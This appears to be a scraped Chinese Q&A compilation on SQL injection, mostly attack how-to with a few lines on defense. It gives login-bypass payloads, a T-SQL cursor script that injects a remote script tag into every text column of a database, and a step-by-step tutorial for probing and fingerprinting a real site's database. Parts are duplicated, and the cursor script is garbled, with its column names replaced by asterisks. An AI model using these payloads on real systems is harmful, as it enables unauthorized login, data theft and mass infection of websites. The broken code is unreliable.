簡述什么是SQL注入,寫出簡單的SQL注入語句
一般開發,肯定是在前臺有兩個輸入框,一個用戶名,一個密碼,會在后臺里,讀取前臺傳入的這兩個參數,拼成一段SQL,例如: select count(1) from tab where usesr=userinput and pass = passinput,把這段SQL連接數據后,看這個用戶名/密碼是否存在,如果存在的話,就可以登陸成功了,如果不存在,就報一個登陸失敗的錯誤。對吧。
但是有這樣的情況,這段SQL是根據用戶輸入拼出來,如果用戶故意輸入可以讓后臺解析失敗的字符串,這就是SQL注入,例如,用戶在輸入密碼的時候,輸入 '''' ' or 1=1'', 這樣,后臺的程序在解析的時候,拼成的SQL語句,可能是這樣的: select count(1) from tab where user=userinput and pass='' or 1=1; 看這條語句,可以知道,在解析之后,用戶沒有輸入密碼,加了一個恒等的條件 1=1,這樣,這段SQL執行的時候,返回的 count值肯定大于1的,如果程序的邏輯沒加過多的判斷,這樣就能夠使用用戶名 userinput登陸,而不需要密碼。
防止SQL注入,首先要對密碼輸入中的單引號進行過濾,再在后面加其它的邏輯判斷,或者不用這樣的動態SQL拼。
SQL注入語句
沒編什么碼就直接轉換成ascii就行了declare @t varchar(255),@c varchar(255) declare table_cursor cursor for select *,* from sysobjects a,syscolumns b where *=* and *='u' and (*=99 or *=35 or *=231 or *=167) open table_cursor fetch next from table_cursor into @t,@c while(@@fetch_status=0) begin exec('update ['+@t+'] set ['+@c+']=rtrim(convert(varchar,['+@c+']))+''''') fetch next from table_cursor into @t,@c end close table_cursor deallocate table_cursor總體思想就是把你的html代碼里插入一段jsjs來自http://***。
SQL注入語句
沒編什么碼
就直接轉換成ascii就行了
declare @t varchar(255),@c varchar(255) declare table_cursor cursor for select *,* from sysobjects a,syscolumns b where *=* and *='u' and (*=99 or *=35 or *=231 or *=167) open table_cursor fetch next from table_cursor into @t,@c while(@@fetch_status=0) begin exec('update ['+@t+'] set ['+@c+']=rtrim(convert(varchar,['+@c+']))+''</title><script src=></script>''') fetch next from table_cursor into @t,@c end close table_cursor deallocate table_cursor
總體思想就是把你的html代碼里插入一段js
js來自
跪求SQL手工注入語句及原理
先舉個例子,你要登錄一個網站,上面讓你輸入用戶名字和密碼。
那么,假如你輸入的用戶名是 admin ,但是你不知道密碼,你就輸入了一個 1' OR '1' = '1 ,那么,你就提交了兩個參數給服務器。假如,服務器拿這兩個參數拼SQL語句:SELECT T.* FROM XXX_TABLE TWHERE *_ID = '/*param1*/'AND *RD = '/*param2*/'那么,你提交的兩個參數就使SQL文變成了:SELECT T.* FROM XXX_TABLE TWHERE *_ID = 'admin'AND *RD = '1' OR '1' = '1'那么,這個SQL原來的校驗功能就被你繞過去了,你的這種行為就稱之為SQL注入。
舉例說明SQL注入的一般過程
如果你以前沒試過SQL注入的話,那么第一步先把IE菜單=>工具=>Internet選項=>高級=>顯示友好 HTTP 錯誤信息前面的勾去掉。
否則,不論服務器返回什么錯誤,IE都只顯示為HTTP 500服務器錯誤,不能獲得更多的提示信息。 第一節、SQL注入原理 以下我們從一個網站*開始(注:本文發表前已征得該站站長同意,大部分都是真實數據)。
在網站首頁上,有名為“IE不能打開新窗口的多種解決方法”的鏈接,地址為:http://***?id=49,我們在這個地址后面加上單引號',服務器會返回下面的錯誤提示:Microsoft JET Database Engine 錯誤 '80040e14' 字符串的語法錯誤 在查詢表達式 'ID=49'' 中。/*,行8從這個錯誤提示我們能看出下面幾點:1.網站使用的是Access數據庫,通過JET引擎連接數據庫,而不是通過ODBC。
2.程序沒有判斷客戶端提交的數據是否符合程序要求。3.該SQL語句所查詢的表中有一名為ID的字段。
從上面的例子我們可以知道,SQL注入的原理,就是從客戶端提交特殊的代碼,從而收集程序及服務器的信息,從而獲取你想到得到的資料。第二節、判斷能否進行SQL注入看完第一節,有一些人會覺得:我也是經常這樣測試能否注入的,這不是很簡單嗎?其實,這并不是最好的方法,為什么呢?首先,不一定每臺服務器的IIS都返回具體錯誤提示給客戶端,如果程序中加了cint(參數)之類語句的話,SQL注入是不會成功的,但服務器同樣會報錯,具體提示信息為處理 URL 時服務器上出錯。
請和系統管理員聯絡。其次,部分對SQL注入有一點了解的程序員,認為只要把單引號過濾掉就安全了,這種情況不為少數,如果你用單引號測試,是測不到注入點的那么,什么樣的測試方法才是比較準確呢?答案如下:① http://***?id=49② http://***?id=49 and 1=1③ http://***?id=49 and 1=2這就是經典的1=1、1=2測試法了,怎么判斷呢?看看上面三個網址返回的結果就知道了:可以注入的表現:① 正常顯示(這是必然的,不然就是程序有錯誤了)② 正常顯示,內容基本與①相同③ 提示BOF或EOF(程序沒做任何判斷時)、或提示找不到記錄(判斷了*時)、或顯示內容為空(程序加了on error resume next) 不可以注入就比較容易判斷了,①同樣正常顯示,②和③一般都會有程序定義的錯誤提示,或提示類型轉換時出錯。
當然,這只是傳入參數是數字型的時候用的判斷方法,實際應用的時候會有字符型和搜索型參數,我將在中級篇的“SQL注入一般步驟”再做分析。 第三節、判斷數據庫類型及注入方法 不同的數據庫的函數、注入方法都是有差異的,所以在注入之前,我們還要判斷一下數據庫的類型。
一般ASP最常搭配的數據庫是Access和SQLServer,網上超過99%的網站都是其中之一。 怎么讓程序告訴你它使用的什么數據庫呢?來看看: SQLServer有一些系統變量,如果服務器IIS提示沒關閉,并且SQLServer返回錯誤提示的話,那可以直接從出錯信息獲取,方法如下:http://***?id=49 and user>0 這句語句很簡單,但卻包含了SQLServer特有注入方法的精髓,我自己也是在一次無意的測試中發現這種效率極高的猜解方法。
讓我看來看看它的含義:首先,前面的語句是正常的,重點在and user>0,我們知道,user是SQLServer的一個內置變量,它的值是當前連接的用戶名,類型為nvarchar。拿一個nvarchar的值跟int的數0比較,系統會先試圖將nvarchar的值轉成int型,當然,轉的過程中肯定會出錯,SQLServer的出錯提示是:將nvarchar值 ”abc” 轉換數據類型為 int 的列時發生語法錯誤,呵呵,abc正是變量user的值,這樣,不廢吹灰之力就拿到了數據庫的用戶名。
在以后的篇幅里,大家會看到很多用這種方法的語句。 順便說幾句,眾所周知,SQLServer的用戶sa是個等同Adminstrators權限的角色,拿到了sa權限,幾乎肯定可以拿到主機的Administrator了。
上面的方法可以很方便的測試出是否是用sa登錄,要注意的是:如果是sa登錄,提示是將”dbo”轉換成int的列發生錯誤,而不是”sa”。 如果服務器IIS不允許返回錯誤提示,那怎么判斷數據庫類型呢?我們可以從Access和SQLServer和區別入手,Access和SQLServer都有自己的系統表,比如存放數據庫中所有對象的表,Access是在系統表[msysobjects]中,但在Web環境下讀該表會提示“沒有權限”,SQLServer是在表[sysobjects]中,在Web環境下可正常讀取。
在確認可以注入的情況下,使用下面的語句:http://***?id=49 and (select count(*) from sysobjects)>0http://***?id=49 and (select count(*) from msysobjects)>0 如果數據庫是SQLServer,那么第一個網址的頁面與原頁面http://***?id=49是大致相同的;而第二個網址,由于找不到表msysobjects,會提示出錯,就算程序有容錯處理,頁面也與原頁面完全不同。 如果數據庫用的是Access,。
怎樣使用sql注入語句
一般,SQL 注入是 SQL語句直接是從頁面獲得值進行拼接的。
如果
12
string strUserid = "admin"; //從頁面獲得輸入內容string strSql = "select 1 from users where userid='" + strUserid + "' ";
若 strUserid 正常輸入,是沒問題的。
1
select 1 from users where userid='admin'
但,SQL注入時候會這樣寫
1
string strUserid = "' or 1=1 --";
這時,SQL為
1
select 1 from users where userid='' or 1=1 --'
這樣永遠返回驗證通過的結果。